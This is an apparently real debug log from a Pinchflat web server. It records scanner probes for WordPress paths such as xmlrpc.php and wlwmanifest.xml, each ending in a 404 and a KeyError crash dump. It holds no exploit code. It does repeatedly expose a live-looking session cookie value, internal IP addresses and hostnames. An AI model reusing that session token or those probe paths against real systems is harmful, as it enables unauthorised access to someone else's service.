[debug] QUERY OK source="sources" db=0.1ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 10:29:43.811 [info] Sent 200 in 20ms 10:29:44.645 [info] GET //xmlrpc.php 10:29:44.646 [debug] QUERY OK source="settings" db=0.1ms idle=840.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:44.646 [debug] QUERY OK source="settings" db=0.1ms idle=839.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:44.646 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:29:44.646 [error] #PID<0.17685.0> running PinchflatWeb.Endpoint (connection #PID<0.17683.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //xmlrpc.php?rsd ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xmlrpc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "rsd", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17685.0>, params: %{"rsd" => ""}, path_info: ["xmlrpc"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"rsd" => ""}, query_string: "rsd", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//xmlrpc.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGk2hBmXbU8rv8ACEMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "rsd", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xmlrpc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "rsd", has_body: (truncated) 10:29:45.279 [info] GET //blog/wp-includes/wlwmanifest.xml 10:29:45.279 [debug] QUERY OK source="settings" db=0.1ms idle=1469.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:45.279 [debug] QUERY OK source="settings" db=0.1ms idle=1469.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:45.279 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:29:45.280 [error] #PID<0.17686.0> running PinchflatWeb.Endpoint (connection #PID<0.17683.0>, stream id 3) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //blog/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /blog/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//blog/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17686.0>, params: %{}, path_info: ["blog", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//blog/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGk2jYmUdWcff4ACEOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//blog/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /blog/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//blog/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" (truncated) 10:29:45.954 [info] GET //wordpress/wp-includes/wlwmanifest.xml 10:29:45.954 [debug] QUERY OK source="settings" db=0.1ms idle=674.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:45.954 [debug] QUERY OK source="settings" db=0.0ms idle=675.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:45.955 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:29:45.955 [error] #PID<0.17687.0> running PinchflatWeb.Endpoint (connection #PID<0.17683.0>, stream id 4) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //wordpress/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wordpress/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wordpress/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17687.0>, params: %{}, path_info: ["wordpress", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//wordpress/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGk2l5lErVX59kACEQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wordpress/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wordpress/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wordpress/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", (truncated) 10:29:46.642 [info] GET //wp/wp-includes/wlwmanifest.xml 10:29:46.642 [debug] QUERY OK source="settings" db=0.1ms idle=944.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:46.642 [debug] QUERY OK source="settings" db=0.0ms idle=945.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:46.643 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:29:46.643 [error] #PID<0.17689.0> running PinchflatWeb.Endpoint (connection #PID<0.17683.0>, stream id 5) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //wp/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => 